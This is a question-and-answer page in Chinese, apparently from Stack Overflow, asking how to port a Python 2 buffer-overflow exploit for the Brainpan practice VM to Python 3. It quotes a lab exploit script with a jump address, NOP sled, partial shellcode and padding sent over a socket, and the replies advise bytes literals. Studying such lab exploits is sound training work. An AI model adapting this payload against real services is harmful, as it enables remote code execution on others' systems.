【发布时间】:2019-08-21 05:58:32
【问题描述】:
我正在尝试使用 python3 而不是 Python 2 将缓冲区溢出推送到 Brainpan。问题是 python3 以不同的方式转换字节。有谁知道如何以 python3 格式以简单的方式推送字节?
python2 代码的示例代码可以在以下位置找到: http://blog.pentests.pl/2014/06/pentest-lab-brainpan-probably-the-fastest.html?m=1
取自页面:
import sys,socket
eip = "\xf3\x12\x17\x31" #jmp esp address 0x311712f3
buf = "\x90"*10 #nop sled
buf += "\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"
buf... {Code snipped}
payload = ("a"*524) + eip + buf
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect('192.168.0.xxx', 9999)
print s.recv(1024)
s.send(payload)
print s.recv(1024)
我已经尝试过使用各种编码的s.send(payload.encode())。据我所知,没有任何效果。
【问题讨论】:
-
当你说它发送“方式不同”它不应该发送时你是什么意思......它确实需要的一件事是字节而不是 str......所以我会冒险猜测它没有发送完全...试试
s.send(bytes(payload)) -
eip = "\xf3\x12\x17\x31"不是字节,它是一个str。使用实际的bytes对象,所以在这里你可以这样做:eip = b"\xf3\x12\x17\x31",注意b用于字节文字。
标签: python python-3.x buffer-overflow